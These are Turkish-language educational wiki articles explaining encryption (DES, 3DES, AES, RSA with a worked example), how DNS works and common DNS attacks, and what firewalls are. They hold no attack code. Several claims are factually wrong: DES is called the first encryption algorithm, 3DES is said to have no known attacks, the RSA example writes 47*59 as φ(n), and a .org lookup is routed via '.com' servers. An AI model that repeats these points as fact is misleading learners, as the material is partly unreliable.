* **Şifre :** Bir veriyi gizlerken kullanılan anahtar.

***

## Şifreleme nasıl çalışır ?

Veriler internet üzerinden paylaşıldığında genel interneti oluşturan bir çok ağ cihazı üzerinden geçer. Bu dolaşım da korsanlar tarafından ele geçirilebilir. Bunu önlemek amacıyla kullanıcılar donanımsal ve yazılımsal teknolojiler kullanabilir. Ağ güvenliğinde bu yapılan işlem **Şifreleme** olarak bilinir.

Şifreleme arka planda bir çok algoritma kullanır. Düz okunabilir metinler, şifreleme algoritmaları sayesinde okunamaz. Çözülmesi son teknoloji donanımlarda bile uzun bir süreç gerektiren metinler haline getirir. Bu sayede şifrelerimiz ağ üzerinde güvenli bir şekilde dolaşır ve ele geçirilse bile anlamsız metinler olarak gözükür.

Şifreleme algoritmaları düz bir metni karmaşık hale getirirken bir **anahtar** (key) ile şifreler. Bu anahtar ne kadar karmaşık ve uzun olursa o kadar çözülmesi zor bir şifre elde ederiz. Bir çok algoritmaya, karıştırmaya ve yer değiştirmeye tabi tutulur.

***

## Şifreleme Teknikleri

En yaygın iki şifreleme yöntemleri **simetrik** ve **asimetrik** şifrelemedir. Bu teknik adlar şifreleme algoritmalarında aynı anahtar kullanılıp kullanılmadığını ifade etmek için konulmuştur.

* **Simetrik Şifreleme :** Simetrik şifreleme, özel anahtar şifrelemesi olarak bilinir. Şifreleme yaparken ve şifreyi çözerken aynı anahtar kullanılır.
* **Asimetrik Şifreleme :** Asimetrik şifreleme, özel ve genel anahtar (public, private) olmak üzere 2 anahtar kullanılır. Anahtarlar birbirleriyle eşleştirilmiş ama birbirine aynı olmayan anahtarlardır. Bu yüzden **asimetrik** olarak adlandırılır. Özel anahtar sahibi tarafından gizli tutulur. Genel anahtar ise yetkili alıcılara veya isteğe bağlı olarak herkese açık sunulur. Genel anahtar şifreleme ve doğrulama için kullanılırken özel anahtar, şifre çözme ve imzalama için kullanılır. Genel anahtar ile şifrelenen veri yalnızca özel anahtar ile çözülebilir. Yani öyle bir mekanizma ki genel anahtar ile şifrelenen veri genel anahtar ile çözülemiyor.

***

### Simetrik Şifreleme Algoritmaları

**DES (Data Encryption Standart)**

> İlk şifreleme algoritmasıdır. IBM tarafından 1970'de çıkarılmıştır. Son 30 yıldır kullanılan en popüler şifrelemedir. Fakat günümüzde 56 bitlik anahtar uzunluğu nedeniyle güvensiz kabul ediliyor.

* DES işlemleri, bitler (0 ve 1) üzerinden yapılıyor. Bu yüzden bir bitin değişmesi bile verinin yarısının değişmesine sebep olur.
* Blok şifreleme algoritmasıdır.
* 64 bitlik anahtar kullanılır. Fakat 8 biti parity bitidir. Şifrelerin güvenilirliği için kullanılır. Yani aslında 56 bit anahtar kullanılır.
* Aynı anahtar ile hem şifreleme hem de şifre çözme işlemi yapar. Bu nedenle bir **Simetrik şifreleme** algoritmasıdır.

<figure><img src="/files/eFgNkZs2WzjC2cXmuvVD" alt=""><figcaption></figcaption></figure>

> Veriyi 64'er bit bloklara ayırır ve bu şekilde şifreler. Her blok 56 bitlik ana anahtardan her 16 tur için 16 farklı 48 bitlik anahtar oluşur ve her tur veri, bazı karıştırma işlemlerinden geçerek 48 bitlik tur anahtarı ile şifrelenir.

<figure><img src="/files/njlSlVnSOP3YOHCPReXR" alt=""><figcaption></figcaption></figure>

> Yukarıdaki görsel her blokun iç yapısını gösteriyor. 64 bit şifrelenecek metin DES'e giriyor. Initial permutation (Başlangıç karıştırması) ile bitler yer değiştirir. 16 farklı raund'a girer. Her raundda 56 bitlik ana anahtardan 48 bitlik özel şifre oluşur. En son olarak final permutation'a (final karıştırması) girer. Başlangıç ve final karıştırmaları birbirinin tersi işlemlerdir.

<figure><img src="/files/MyeOY2BUoJonYRUlLtbp" alt=""><figcaption></figcaption></figure>

**Inital Permutation (Başlangıç Karıştırma)**

<figure><img src="/files/czvC05CHep7UT1w57W7V" alt=""><figcaption></figcaption></figure>

Veri, yukarıdaki tabloda bit yerlerinin gösterildiği gibi karıştırılır.

**Her Raundda Ne Gerçekleşir ?**

> Yukarıda bir raundun içi kare içine alınmış şekilde gösterilmektedir. Raundların içinde 64 bitlik veri L0 ve R0 olmak üzere ikiye ayrılır. R0, raund anahtarı ile bir f fonksiyonundan geçer ve L0 ile XOR işlemine sokularak bir sonraki raundun R0'ına geçer. R0 ise direkt olarak bir sonraki raundun L0 yerini alır. Bir çaprazlama söz konusudur.

<figure><img src="/files/1ZfhN3T4AOrC3zj6ITnl" alt=""><figcaption></figcaption></figure>

> F fonksiyonu görseli yukarıda gösterilmiştir. 32 bitlik R0 verimiz E fonksiyonu ile 48 bite genişletilir. Bunun sebebi raund anahtarımız 48 bitten oluştuğu içindir. Ardından 48 bitlik verimiz 48 bit anahtarımız ile XORlanır ve her biri 6 bitten oluşacak 8 farklı gruba ayrılır. Şu an verimiz 48 bit fakat bizim 32 bitlik veri dönüş sağlamamız için her grup S-Box yer değiştirme fonksiyonuna uğrar ve 32 bite indirilir. Tekrar P karıştırma fonksiyonuna girer ve 32 bitlik verimiz geri döner.

<figure><img src="/files/IWukxOXEmMVatDO4lNus" alt=""><figcaption></figcaption></figure>

* E fonksiyonunda gerçekleşen yer değiştirme yukarıda gösterilmiştir. 32 bitlik veri 48 bite dönüştürülmesi için bazı bitler 2 kere girilmiştir.

<figure><img src="/files/mtDXSLTyM9M6WSidxQbO" alt=""><figcaption></figcaption></figure>

* S-box yer değiştirme işleminde ilk ve son bitin ondalık karşılığı S-box tablosundaki satırı; ortadaki 4 bitin ondalık karşılığı ise tablodaki sütunu ifade eder. Veri satır ve sütun karşılığına göre yeni değerini alır.

<figure><img src="/files/aTR7hAHtCrj9M6vYDDUb" alt=""><figcaption></figcaption></figure>

* Son olarak P fonksiyonundaki yer değiştirme tablosu yukarıda verilmiştir. Her bir bitlerin yer değiştirmesinin sebebi karmaşıklığı arttırmaktır.

**Key Schedule (Anahtar Zamanlama)**

* Evet daha önce 64 bitlik ana anahtarımızdan her raund için 48 bitlik anahtar oluştuğunu söylemiştik. Peki bu nasıl oluyor?

<figure><img src="/files/fAaxe3nGTxjK4t4PddXL" alt=""><figcaption></figcaption></figure>

> Key Schedule'nin ana mimarisi yukarılda gösterildiği gibidir. "k" anahtarımız parity bitlerinden arınarak PC-1 yer değiştirme tablosuna göre yer değiştirir. PC-1 tablosu aşağıdaki gibidir ve her bir bitin hangi bitin yerinde olacağı bellidir.

<figure><img src="/files/yzqWksSM7lFOPJqQvYw3" alt=""><figcaption></figcaption></figure>

> Karıştırmaya uğrayan 56 bitlik veri C0 ve D0 olmak üzere ikiye ayrılır ve shifting (kaydırma) işlemi uygulanır. `1 1 2 2 2 2 2 2 1 2 2 2 2 2 2 1` şeklinde her turda kaç shift yapacağı bellidir.

<figure><img src="/files/ApBxxfmkAT8O5M4KeWGk" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/xz38Qh3r5EwUcYTNemSa" alt=""><figcaption></figcaption></figure>

* Shifting işlemi yukarıda örnekte gösterildiği gibi uygulanmaktadır.

**DES'in Güvenliği**

* Anahtar uzayı (2^56) çok küçük olduğu için günümüz teknolojileri göze alındığında brute force saldırılarına belli bir süre dayanabilir.

***

**3DES**

* Bu algoritmada veriyi 3 kere art arda DES'e sokuyoruz.
* Her DES'in farklı şifresi var. 3 farklı şifreyi tutmak zor olduğu için pratik bir algoritma değil.
* DES'in etkili anahtar uzunluğunu 112 bite çıkarmak için yapılır. Bu sayede şifre uzayı genişler.
* Bilinen bir saldırı tekniği yok.
* Birçok eski uygulamada kullanılır. (Bankacılık gibi)

***

**AES (Advanced Encryption Standart)**

* Günümüzde en yaygın kullanılan simetrik şifreleme algoritmasıdır.
* Birkaç yıllık çalışma sürecinden sonra NIST tarafından seçildi.
* Tur sayısı seçilen anahtar uzunluğuna bağlıdır.
* DES gibi AES de blok şifreleme algoritmasıdır.
* Her blok 128 bit veri alır.

<figure><img src="/files/qeU9EKk9Up3EXuusRrYR" alt=""><figcaption></figcaption></figure>

* AES bayt odaklı bir şifreleme algoritmasıdır.
* 16 baytlık durum (128 bit) 4x4 matrise düzenlenebilir.

<figure><img src="/files/9Wl7ffAKLDE2CcMAjVAa" alt=""><figcaption></figcaption></figure>

**İç Yapısı**

* Byte Substitution (Bayt odaklı yer değiştirme)
* Shift Rows (Satır kaydırma)
* Mix Columns (Sütunları karıştırma)
* Add Round Key (Raund anahtarının eklenmesi)

> Son turda Mix Column işlemi yapılmıyor.

<figure><img src="/files/vlT3UDVWvPoO1vGayFQ6" alt=""><figcaption></figcaption></figure>

**Byte Substitution**

<figure><img src="/files/X8a3WVbzhue1DpoV4W8O" alt=""><figcaption></figcaption></figure>

> Bayt odaklı olarak her bayt için tabloda verilen satır ve sütunlara göre baytlar yer değiştirilir.

**Shift Rows**

* İlk satırda kaydırma işlemi uygulanmaz.
* Birinci satır bir birim sola kaydırılır.
* İkinci satır iki birim sola kaydırılır.
* Üçüncü satır üç birim sola kaydırılır.

**Mix Columns**

* Her 4 baytlık sütun sabit bir 4x4 matris ile çarpılır.
* Durum matrisinin her sütununu karıştırır.

<figure><img src="/files/lK9A5ZTIJ3j5DyOmLRy9" alt=""><figcaption></figcaption></figure>

**Add Round Key**

<figure><img src="/files/aBE17RG8fYyig26N3Jum" alt=""><figcaption></figcaption></figure>

* Kelime yönelimli : 1 word 32 bit.
* 11 alt anahtar W\[0], W\[1] ... W\[43]

> 128 bitlik veri 4 parçaya ayrılır ve ilk wordlerimizi oluşturur. W3, g fonksiyonuna uğrar ve W0 ile XORlanarak W4'ü oluşturur. W4, W1 ile exorlanarak W5'imizi oluşturur. Bu şekilde art arda XORlanarak wordler oluşur. Her turda bu işlem uygulanır.

<figure><img src="/files/fAAPduucM07E6Zur1D3g" alt=""><figcaption></figcaption></figure>

* G fonksiyonunda 32 bitlik veri 4 parçaya ayrılır ve yukarıda görüldüğü gibi sola shift işlemi uygulanır.

<figure><img src="/files/Pghbl3HCMSFJaYZYu2gt" alt=""><figcaption></figcaption></figure>

* Sadece en soldaki verimize yukarıda gösterildiği gibi tur katsayısı XORlanır.
* Birinci turdaysak 1 ile en soldaki verimiz exorlanır gibi düşünebilirsiniz.

**AES Güvenliği**

* 128, 192, 256 bitlik anahtar uzunluğu nedeniyle kaba kuvvet saldırısı mümkün değildir.
* Quantum bilgisayarlar da olsa makul zamanda çözülmesi imkansız. Biz çözene kadar şifre değişebilir.
* Kaba kuvvet saldırılarına karşı mükemmel uzun vadeli uzunluk sağlar.
* IPsec ve TLS gibi çok sayıda açık standardın bir parçasıdır.
* Uzun yıllar boyunca baskın şifreleme algoritması olacak gibi gözüküyor.

***

### Asimetrik Şifreleme Algoritmaları

* Temelinde asal sayı çarpımlarına dayanır.

#### RSA (Rivest,Shamir,Adelman)

* Adım 1 : p ve q, büyük asal sayıları belirlenir.
  * N değeri bulunur. (N = p \* q)
  * φ(n) = (p-1) \* (q-1)
  * e < p, q üzere obeb(e, φ(n)) = 1 olacak şekilde e değeri bulunur.
* Adım 2 : d gizli parametresi hesaplanır.
  * (d \* e) mod φ(n) = 1

> Public Key : (N,e) Private Key : (N,d)

> Yukarıda gösterildiği gibi Adım 1'de p ve q adında 2 büyük asal sayı belirlenmesi gerekiyor. Büyük seçilmesi önemli çünkü şifrenin bulunabilirliğini azaltıyor. Sonrasında e değeri obeb(e, (p-1) \* (q-1)) = 1 olacak şekilde bulunuyor. D gizli parametresi private keyimizi oluşturacak şifre olacak. D parametresi (d \* e) mod φ(n) = 1 şeklinde bulunuyor. Baktığımızda d ve e birbirlerinin tersi işlemlerdir. Public keyimiz N ve e değerinden oluşuyor. Private keyimiz ise N ve d değerlerinden oluşmaktadır.

**Örnek**

M, şifrelenecek metin olsun.

Şifreleme : M^e mod N = C (şifrelenmiş metin)

Şifre çözme : C^d mod N = M

1. p = 47, q = 59 olsun.
2. φ(n) = 47 \* 59 = 2668
3. obeb(e,φ(n)) = 1 olacak şekilde e = 157 bulunur.
4. (d \* e) mod φ(n) = 1 ; (d \* 157) mod 2668 = 1 olacak şekilde d = 17 olarak bulunur.
5. Public key = (N= 2773,e = 157), Private Key = (N = 2773, d = 17)

<details>

<summary>Ek Kaynaklar</summary>

<https://www.kaspersky.com/resource-center/definitions/encryption>

</details>

{% embed url="<https://github.com/yusufkggoglu>" fullWidth="false" %}
Bu yazı Yusuf Küçükgökgözoğlu tarafından hazırlanmıştır.
{% endembed %}


# Domain Name Server (DNS)

<figure><img src="/files/1guuvM9QUBcs7V4HECch" alt=""><figcaption></figcaption></figure>

Selamlar! Bir sabah uyandığınızı ve youtube.com ya da twitter.com gibi web sitesi isimlerini yazarak erişim sağlayamadığınızı düşünün. Bunun yerine, YouTube'a girmek için 142.250.72.206 ya da Twitter'da gezmek için 104.244.42.65 gibi bir dizi sayıyı ezberleyip yazmanız gerektiğini hayal edin. Haydi, itiraf edelim, internet gezinmesi bir gecede son derece sıkıcı ve karmaşık hale gelirdi, değil mi?

Neyse ki, DNS (Domain Name System) adı verilen harika bir sistem sayesinde bu kabus senaryosu gerçekleşmeyecek. DNS, hatırlanması zor olan IP adreslerini kolayca hatırlanabilir alan adlarıyla eşleştirerek internet gezinmemizi oldukça keyifli ve sorunsuz hale getiriyor.

Şimdi, bu hayati internet omurgasının nasıl çalıştığını daha yakından inceleyelim ve arka planda neler olup bittiğini keşfedelim. DNS'in büyülü dünyasına hoş geldiniz!

***

<figure><img src="/files/4oc9m7ruSXzmhNQormvA" alt=""><figcaption></figcaption></figure>

### DNS: İnternetin Adres Defteri

DNS, internetin adres defteri olarak işlev gören dağıtık ve hiyerarşik bir sistemdir. Alan adlarını IP adreslerine çevirerek, dünya genelindeki cihazlar arasında sorunsuz ve verimli iletişimi sağlar. DNS'in temel amacı, kullanıcıların kolayca hatırlayabileceği alan adlarıyla web sitelerine ve kaynaklara erişmesini sağlarken, bilgisayarlar ve sunucuların IP adresleri aracılığıyla iletişim kurmasına olanak tanımaktır.

DNS, Uygulama katmanı hizmeti olarak çalışır. Ağın çekirdeğini basit tutarken, karmaşıklığı ağın kenarına yerleştirir. Bu, internetin tasarım felsefesini yansıtan bir yaklaşımdır.

***

### DNS'in Sağladığı Temel Hizmetler

DNS, internetin işleyişini kolaylaştırmak için çeşitli hizmetler sunar. İşte DNS'in sağladığı bazı hayati hizmetler:

1. Host-to-IP Adres Eşlemesi DNS, alan adları ve bunlara karşılık gelen IP adreslerinin bir veritabanını tutar. Bu eşleştirme, cihazların internet üzerinde birbirlerini bulabilmesi için gereklidir. Örneğin, "[www.google.com](http://www.google.com)" alan adını düşünelim. Host-to-IP adres eşlemesi, bu alan adıyla ilişkili IP adresinin belirlenmesini içerir, örneğin "172.67.21.11".
2. Host Aliasing (Takma Ad Oluşturma) DNS, CNAME (Canonical Name) kayıtları aracılığıyla yaygın olarak bilinen bir özellik olan host aliasing'i destekler. Bu, tek bir IP adresi veya birincil alan adıyla birden fazla alan adı takma adının ilişkilendirilmesine olanak tanır. Örneğin, "sibervatan.org" birincil alan adını düşünelim. Web sitesinin "sibervatan.org"un yanı sıra "[www.sibervatan.org](http://www.sibervatan.org)", "web.sibervatan.org" ve "blog.sibervatan.org" gibi çeşitli takma adlar aracılığıyla erişilebilir olmasını isteyebilirsiniz. Uygun CNAME kayıtlarını DNS'e ayarlayarak, bu takma adların tümü "sibervatan.org" birincil alan adına işaret edebilir. Sonuç olarak, kullanıcılar bu alan adlarından herhangi birini kullanarak web sitesine erişebilirler ve hepsi aynı hedef IP adresine yönlendirilir.
3. Email Yönlendirme DNS, MX kayıtları aracılığıyla e-posta yönlendirmede hayati bir rol oynar. Bu kayıtlar, bir alan adının hangi posta sunucularının adına e-posta mesajları alacağını belirlemesine olanak tanır. Bu mekanizma, e-posta yapılandırmalarında esneklik sağlar. Örneğin, "bytebytego.com" alanı için e-postaları almak üzere atanmış birincil posta sunucusunun "mail.bytebytego.com" olduğunu varsayalım. "@sales.bytebytego.com" veya "@support.bytebytego.com" gibi belirli e-posta adreslerine sahip olmak isteyebilirsiniz, ancak bu adresler için gelen tüm e-postaları "mail.bytebytego.com" sunucusuna yönlendirmek istersiniz. MX kayıtlarını uygun şekilde yapılandırarak, bu adreslere gönderilen e-postalar belirlenen birincil posta sunucusuna yönlendirilir.
4. IP-to-Host Adres Eşlemesi DNS, öncelikle alan adlarını IP adreslerine çevirmek için kullanılsa da, tersine arama yaparak IP adreslerini alan adlarına çevirebilir. Bu, güvenlik ve loglama amaçları için faydalıdır.
5. Yük Dengeleme DNS, aynı alan adı sorgusuna farklı IP adresleri dönerek gelen ağ trafiğini birden fazla sunucuya dağıtabilir. Bu, yükün dengelenmesine ve çevrimiçi hizmetlerin performansının ve güvenilirliğinin artırılmasına yardımcı olur.

***

### DNS Hiyerarşisi

<figure><img src="/files/saCDPRbkFUTCKC0g3hsG" alt=""><figcaption></figcaption></figure>

DNS, dağıtık hiyerarşik bir veritabanı olarak çalışır. İşte DNS hiyerarşisinin yüksek seviyeli bir görünümü:

#### Root DNS Sunucuları

DNS hiyerarşisinin en üstünde root sunucular bulunur. Root sunucuları, bir sunucu bir adı çözemediğinde başvurulan ilk noktadır. İnternetin merkezi sinir sistemi gibi hareket ederler ve bu nedenle güvenlik son derece önemlidir. Root sunucularının altyapısının büyük bir kısmı ICANN (Internet Corporation for Assigned Names and Numbers) tarafından yönetilir. Dünya genelinde 13 mantıksal root sunucusu vardır, ancak her bir mantıksal root sunucusu çoğaltılmıştır, bu nedenle bu 13 mantıksal sunucuya karşılık gelen neredeyse bin fiziksel sunucu bulunmaktadır.

#### Üst Düzey Alan (TLD) DNS Sunucuları

Root sunucularının bir alt seviyesinde TLD (Top-Level Domain) sunucuları bulunur ve bu sunucular, .com, .edu, .net ve .org gibi uzantılara sahip adresleri çözmekten sorumludur. ICANN, internet üzerinde kullanılan tüm TLD'ler üzerinde yetkiye sahiptir ve bu TLD'lerin sorumluluğunu çeşitli kuruluşlara devreder. Yeni bir alan adı kaydetmek isteyen bireyler veya kuruluşlar genellikle kayıt sürecini yönetmek için çeşitli Domain Name Registrar'lara başvururlar.

#### Yetkili DNS Sunucuları

Yetkili sunucular, belirli bir alan adı içindeki ad çözümlemelerinin kesin kaynağıdır. Bu sunucular, belirli bir alan adı için gerçek ad-IP adresi eşlemelerini depolar. İnternet genelinde ad çözümlemelerini hızlandırmak için çeşitli önbellekleme mekanizmaları bulunsa da, kesin ve nihai yanıtı yetkili sunucular sağlar. Alan adı sahipleri veya yöneticileri, alan adlarının kayıtlarını yapılandırır, ancak gerçek altyapı genellikle DNS hosting sağlayıcıları veya GoDaddy, Namecheap gibi kayıt şirketleri tarafından işletilir.

#### Recursive DNS Sunucuları (Çözümleyici)

Recursive sunucular, bilgisayarlar ve akıllı telefonlar gibi istemci cihazlardan gelen DNS sorgularını işler. Bir cihaz bir alan adını çözmek istediğinde, bu sunuculara başvurur. Recursive sunucular, istemci adına DNS hiyerarşisini gezerek alan adıyla ilişkili IP adresini belirler. Yanıtı aldıklarında, istemciye geri dönerler. Verimlilik için recursive sunucular genellikle yanıtları önbelleğe alır, böylece aynı bilgiyi tekrar tekrar sorgulamaktan kaçınırlar.

<figure><img src="/files/B8FqDje3cMioL8szHCFp" alt=""><figcaption></figcaption></figure>

***

### DNS Çözümlemesi Nasıl Çalışır?

DNS çözümlemesinde iki ana sorgu yöntemi vardır: İteratif sorgu çözümlemesi ve Rekursif sorgu çözümlemesi.

#### İteratif Sorgu Çözümlemesi

İteratif sorgu çözümlemesinde, DNS sunucusu sorguyu alan sunucuya yönlendirmeler sağlar, böylece sorgulayan sunucu DNS hiyerarşisini dolaşır. Sorgulayan sunucu, aldığı yönlendirmeler temelinde sonraki sorguları göndererek aktif olarak sürece katılır.

Örneğin, sibervatan.org ismini çözmek isteyen bir ana makineyi düşünelim. Bu işlem şu şekilde gerçekleşir:

<figure><img src="/files/J5TbTiOpGeiP1aLZekCQ" alt=""><figcaption></figcaption></figure>

1. Ana makine ilk olarak yerel DNS çözümleyicisine sorgu mesajı gönderir. Sorgu mesajı çevrilmesi gereken sibervatan.org alan adını içerir.
2. Çözümleyici, IP adresini önbelleğinde bulamazsa, root DNS sunucusuna bir sorgu gönderir.
3. Root DNS sunucusu, .com son ekini tanıyarak .com TLD sunucularına bir yönlendirme sağlar.
4. Çözümleyici, bu TLD sunucularından birine yeni bir sorgu gönderir.
5. TLD sunucusu, sibervatan.org için yetkili DNS sunucusuna bir yönlendirme sağlar.
6. Çözümleyici, yetkili DNS sunucusuna başka bir sorgu gönderir.
7. Yetkili DNS sunucusu, sibervatan.org için tanımlı olan IP adresini içeren bir yanıt gönderir.
8. Çözümleyici, aldığı IP adresini önbelleğe alır ve ana makineye geri gönderir.
9. Ana makine, artık çözümlenen IP adresini kullanarak sibervatan.org'a erişim sağlayabilir.

#### Rekürsif Sorgu Çözümlemesi

Rekürsif sorgu çözümlemesinde, sorguyu alan DNS sunucusu, müşteri adına IP adresini bulma sorumluluğunu üstlenir. İstenen alan adı için yetkili DNS sunucusuna ulaşana kadar DNS hiyerarşisini gezinmek için kendisi de iteratif sorguları kullanabilir.

Önceki örneği kullanarak sibervatan.org'un IP adresini rekürsif sorgu çözümlemesi kullanarak çözmeyi deneyelim. Bu işlem, aşağıdaki gösterimde olduğu gibi gerçekleşir:

<figure><img src="/files/ojTgWcH396DpOma2PWgA" alt=""><figcaption></figcaption></figure>

Bu yaklaşım, bir DNS sunucusunun istemci adına alan adının IP adresini çözme sürecini adım adım açıklar. Müşteri cihazının alan adını çözmek için DNS sunucusuna bir sorgu gönderdiği noktada, sunucu bu sorguyu alır ve DNS hiyerarşisini takip ederek gerekli bilgileri bulur ve müşteriye geri döndürür.

Rekürsif sorgu çözümlemesi, kullanıcı dostu bir deneyim sunmak için önemlidir çünkü kullanıcılar, IP adreslerini bilmek zorunda kalmadan kolayca alan adları aracılığıyla kaynaklara erişebilirler. Bu süreç, DNS'in temel işlevlerinden biridir ve internetin güvenilir ve verimli bir şekilde çalışmasını sağlar.

***

### DNS Güvenliği ve Saldırıları: Tehlikeler ve Korunma Yöntemleri

#### DNS Saldırı Türleri

1. **DNS Zehirleme (DNS Spoofing)**: Saldırgan, sahte DNS yanıtları göndererek, hedefin DNS sorgularını değiştirir ve kullanıcıları yanıltır. Böylece, kullanıcılar yanlış web sitelerine yönlendirilir ve hassas bilgileri ele geçirilir.
2. **DNS İzleme (DNS Hijacking)**: Saldırgan, meşru bir DNS sunucusunu ele geçirerek, trafik yönlendirmesini değiştirir ve kullanıcıları yanıltır. Bu saldırı, kullanıcıların hedeflenen web sitelerine güvenli olmayan bağlantılar üzerinden erişmelerine neden olabilir.
3. **Distributed Denial of Service (DDoS)**: Saldırganlar, DNS sunucularını aşırı yükleyerek, hizmet dışı bırakabilirler. Bu, hedeflenen web sitelerine erişimi engeller ve kurumların işlerini aksatabilir.
4. **DNS Taraması (DNS Scanning)**: Saldırganlar, geniş bir IP adresi aralığında DNS sunucularını taramak ve zayıf noktaları tespit etmek için DNS sorguları gönderebilirler. Bu, saldırganların hedef sistemlere giriş yapmasını kolaylaştırabilir.

#### DNS Güvenliği İçin Öneriler

1. **Güçlü Şifreleme Kullanımı**: DNS trafiğini şifrelemek için DNS over HTTPS (DoH) veya DNS over TLS (DoT) gibi güvenli iletişim protokolleri kullanımı. Bu, DNS sorgularının saldırganlar tarafından izlenmesini ve değiştirilmesini önler.
2. **Güvenilir DNS Sunucuları Kullanımı**: Kurumsal ağlar için, güvenilir DNS sunucuları veya DNS güvenlik duvarları kullanılır. Bu, kötü amaçlı DNS trafiğini filtreleyebilir ve zararlı etkilere karşı koruma sağlayabilir.
3. **DNS Güncellemelerinin İzlenmesi**: DNS sunucularını düzenli olarak güncellemek ve güvenlik yamalarını uygulamak gerekir. Bu, potansiyel güvenlik açıklarını kapatır ve saldırılara karşı direnci artırır.
4. **DNS Günlüklerini İzlemek**: DNS trafiğini izlemek ve analiz etmek için günlük dosyalarını düzenli olarak kontrol gerekir. Bu, saldırı girişimlerini tespit etmeye ve önlem almaya yardımcı olabilir.
5. **DDoS Koruması Sağlamak**: DNS sunucularında DDoS koruma hizmetleri kullanmak ve yük dengeleme tekniklerini uygulamak gerekir. Bu, aşırı trafik nedeniyle hizmet dışı kalma riskini azaltır.

DNS güvenliği, internetin güvenliği ve güvenilirliği için hayati öneme sahiptir. Bu nedenle, DNS saldırılarına karşı korunma önlemleri almak ve güvenlik politikalarını güçlendirmek önemlidir.

{% embed url="<https://github.com/yusufkggoglu>" fullWidth="false" %}
Bu yazı Yusuf Küçükgökgözoğlu tarafından hazırlanmıştır.
{% endembed %}


# Firewall Nedir? Nasıl Çalışır ?

Günümüzde dijital dünyada güvenlik, her zamankinden daha büyük bir önem taşımaktadır. Bilgisayar ağları üzerinden yapılan veri alışverişi, işletmeler ve bireyler için kritik öneme sahiptir. Bu veri trafiğini güvence altına almanın en temel yollarından biri firewall (güvenlik duvarı) kullanmaktır. Peki, firewall nedir, nasıl çalışır ve çeşitleri nelerdir? Bu yazımızda bu gibi soruların yanıtlarını bulabilirsiniz.

## Firewall Nedir ?

Firewall, güvenlik duvarı anlamına gelmektedir. Kısaca bilgi sistemleri için üretilmiş olan güvenlik duvarı sistemleri de denilebilir. Gelen/giden tüm ağın trafiğini kontrol ederek belirli filtrelerden geçirir ve ağ trafiği içerisindeki zararlı olabilecek eylemleri engellemeyi amaçlar. Temelde firewall, ağ üzerinde kendisine gelen paketlerin önceden belirlenen kurallara göre ulaşması gereken yerlere gidip gidemeyeceğini belirler. Belirlenen kurallara uymayan trafiği engelleyerek koruma sağlar. Bu sayede de ağ güvenliği sağlanmaktadır.

<figure><img src="/files/RpbvNjgKUH3x5JlQAvAV" alt=""><figcaption></figcaption></figure>

Güvenlik duvarları bulunduğunuz ağ içerisinde güvenilmeyen ağlardan gelebilecek zararlı olan trafiğe karşı koruma sağlarken, üzerinde önceden belirlenen özel kuralları işler ve network trafiğinizi denetler. Eğer firewall belirlenen güvenlik kurallarınıza karşı bir network trafiği tespit ederse, ağınızın erişimine engel olarak güvenli bir katman sağlar ve trafiği engeller. Temelde ‘white list’ mantığıyla çalışır. Yani kullanılan servisler, portlar veya işlemler için güvenli bir liste oluşturulur ve bu sayede izin verilmesi sağlanır. Güvenli listede bulunmayan trafik ise bloklanır ve ağınıza erişimi engellenmiş olur.

### Firewall Nasıl Çalışır?

<figure><img src="/files/gtb6mhE5G9sYwpJISefm" alt=""><figcaption></figcaption></figure>

Firewall'lar, trafiği denetlemek için çeşitli yöntemler kullanır. Fakat genel çalışma prensipleri aşağıdaki gibidir:

* Paket Filtreleme; Bu yöntemde, firewall gelen ve giden veri paketlerini inceler ve önceden belirlenmiş kurallara göre bu paketlerin geçişine izin verir veya engeller. Paket filtreleme, IP adresleri, port numaraları, protokoller ve diğer paket başlık bilgilerine dayanır.
* Durum Denetimli (Stateful) İnceleme; Bu yöntem, sadece gelen ve giden paketleri değil, aynı zamanda bağlantının durumunu da izler. Bu sayede, güvenilir bir bağlantının parçası olmayan herhangi bir veri paketi engellenir.
* **Proxy Hizmetleri:** Proxy tabanlı firewall'lar, ağ ile dış dünya arasında bir aracı görevi görür. Gelen talepler önce proxy sunucusuna gelir, burada incelenir ve ardından hedefe yönlendirilir. Bu yöntem, IP adresini gizleyerek ek bir güvenlik katmanı sağlar.
* **Uygulama Katmanı Filtreleme;** Bu tür firewall'lar, OSI modelinin uygulama katmanında çalışır ve belirli uygulama protokollerini (HTTP, FTP, SMTP vb.) analiz eder. Böylece belirli uygulama trafiğine izin verilir veya engellenir.

Aşağıda bulunan görselde de gelen ve giden paketlerın hangi sıra ile hangi işleme alındığı genel bir firewall yapısı üzerinde gösterilmiştir.

<figure><img src="/files/y53mAv4Mf2MzrHOTEVDk" alt=""><figcaption></figcaption></figure>

### Firewall'ın çalışma mantığını adım adım incelemek gerekirse;

* **Gelen Trafiğin İncelenmesi:** Dış ağdan (internet) gelen tüm veri paketleri firewall'a ulaşır.
* **Kurallara Göre Denetim:** Firewall, bu veri paketlerini önceden belirlenmiş güvenlik kurallarına göre inceler. Bu kurallar, genellikle IP adresleri, port numaraları ve protokoller gibi kriterlere dayanır.
* Geçiş İzni veya Engelleme:

**Geçiş İzni:** Eğer bir veri paketi belirlenen kurallara uygunsa, firewall bu paketin iç ağa (LAN) geçişine izin verir.

**Engelleme:** Eğer bir veri paketi kurallara uymuyorsa veya şüpheli bir içerik barındırıyorsa, firewall bu paketi engeller ve iç ağa geçişine izin vermez.

* **Giden Trafiğin Denetimi:** İç ağdan dış ağa gönderilen veri paketleri de benzer şekilde denetlenir. Firewall, bu paketlerin dış ağa çıkışına izin verir veya engeller.
* **Günlük ve Uyarılar:** Firewall, tüm bu işlemleri kaydeder ve gerektiğinde yöneticilere uyarılar gönderir. Böylece, ağ üzerindeki şüpheli aktiviteler izlenebilir ve gerektiğinde müdahale edilebilir.

Bu şekilde, firewall'lar ağ trafiğini sürekli olarak izler, denetler ve güvenli olmayan veya yetkisiz erişimleri engelleyerek ağın güvenliğini sağlar.

### Firewall Türleri Nelerdir ?

* **Donanım Tabanlı Firewall'lar:** Fiziksel cihazlar şeklinde olan bu firewall'lar, genellikle büyük ağlarda kullanılır. Ağ geçidinde konumlandırılarak tüm trafiği denetlerler.
* **Yazılım Tabanlı Firewall'lar:** Bu tür firewall'lar, bir cihazın işletim sistemi üzerine kurulan yazılım programlarıdır. Kişisel bilgisayarlar ve sunucularda yaygın olarak kullanılır.
* **Ağ Tabanlı Firewall'lar:** Bu firewall'lar, bir ağın tamamını korumak için tasarlanmıştır ve genellikle donanım tabanlıdır. Veri merkezi ve büyük işletme ağlarında kullanılır.
